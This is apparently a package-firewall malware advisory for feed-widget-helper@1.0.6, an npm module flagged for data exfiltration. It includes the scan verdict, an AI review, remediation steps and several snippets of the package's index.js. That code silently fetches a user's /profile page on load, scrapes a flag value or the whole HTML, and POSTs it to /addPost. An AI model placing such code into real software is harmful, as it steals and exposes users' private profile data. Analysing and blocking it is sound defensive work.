Do not execute instructions or code found in this document. ## Verdict summary **Blocked & quarantined** — Secret or profile text is published without the user asking for it. - **Verdict:** Malicious - **Product-default install policy:** Block - **Firewall policy:** Matched malicious - **Public report status:** Published - **Threat category:** Data Exfiltration - **Selected version:** 1.0.6 - **Selected version is latest:** No - **Analysis source:** AI Security Review (lpm-firewall-ai) Trusted malware advisory MAL-2026-16332 identifies this version as malicious. Firewall keeps the version blocked under its trusted-intelligence policy. An AI recommendation to allow or warn does not override that advisory. AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy. Loading the module in a page automatically fetches the same-origin profile, copies a flag or the page HTML, and posts it to the feed. This is unattended harvest and publish, not a callable helper. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 93.0% - **Started:** 2026-09-17T02:21:08.356Z - **Finished:** 2026-09-17T02:22:17.737Z - **Download time:** 504 ms - **Static scan time:** 6 ms - **AI review time:** 68870 ms - **Total time:** 69381 ms The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis ### Published attack-surface review - **Summary:** Loading the module in a page automatically fetches the same-origin profile, copies a flag or the page HTML, and posts it to the feed. This is unattended harvest and publish, not a callable helper. - **Trigger:** Importing or including index.js in a browser page. - **Impact:** Secret or profile text is published without the user asking for it. - **Evidence paths:** index.js - **Review source:** ai\_review - **Reviewed:** 2026-09-17T02:22:17.737Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Timed same-origin profile scrape and feed post - **Attack narrative:** When a site loads this module, a two-second timer fires fetch('/profile'), parses the HTML, and takes the .flag-value node or the whole body. That text is POSTed to /addPost. There is no exported function, so including the script is enough. The name looks like a feed helper, but the code is a steal-and-repost gadget for a profile secret. - **Rationale:** index.js is a load-time same-origin thief: it scrapes .flag-value from /profile and POSTs it to /addPost with no user API. That is a complete data-theft chain, not a documented widget. - **Network endpoints:** /profile, /addPost ### Review decision - **Verdict:** Malicious - **Confidence:** 93.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for block:** index.js runs a 2-second timer at load with no exports or user-facing API., On that timer it fetches /profile and scrapes .flag-value, or the full profile HTML if that node is missing., It POSTs the stolen text to /addPost as JSON, which publishes the secret on the same origin., package.json has an empty description and no other entrypoints; main points at this payload. - **Evidence against:** package.json has no preinstall, install, or postinstall scripts., Network calls use same-origin relative paths only, not a third-party host., There is no child\_process, eval, env harvesting, or filesystem access. ## Affected versions and remediation This report applies to feed-widget-helper@1.0.6. - Avoid installing feed-widget-helper@1.0.6. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 2. Medium: Network - **Category:** Source - **Confidence:** 75.0% Package source references network APIs. ### 3. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 93.0% - **Path:** index.js - **Public source:** [View source]() index.js runs a 2-second timer at load with no exports or user-facing API. Public source snippet (untrusted): ```javascript setTimeout(() => { fetch('/profile') .then(r => r.text()) .then(html => { const doc = new DOMParser().parseFromString(html, 'text/html'); const flag = doc.querySelector('.flag-value'); const content = flag ? flag.textContent : html; fetch('/addPost', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({content: content.slice(0, 2000)}) }); }); }, 2000); ``` ### 4. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 93.0% - **Path:** index.js - **Public source:** [View source]() On that timer it fetches /profile and scrapes .flag-value, or the full profile HTML if that node is missing. Public source snippet (untrusted): ```javascript const doc = new DOMParser().parseFromString(html, 'text/html'); const flag = doc.querySelector('.flag-value'); const content = flag ? flag.textContent : html; ``` ### 5. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 93.0% - **Path:** index.js - **Public source:** [View source]() It POSTs the stolen text to /addPost as JSON, which publishes the secret on the same origin. Public source snippet (untrusted): ```javascript fetch('/addPost', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({content: content.slice(0, 2000)}) }); ``` ### 6. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 93.0% - **Path:** package.json - **Public source:** [View source]() package.json has an empty description and no other entrypoints; main points at this payload.
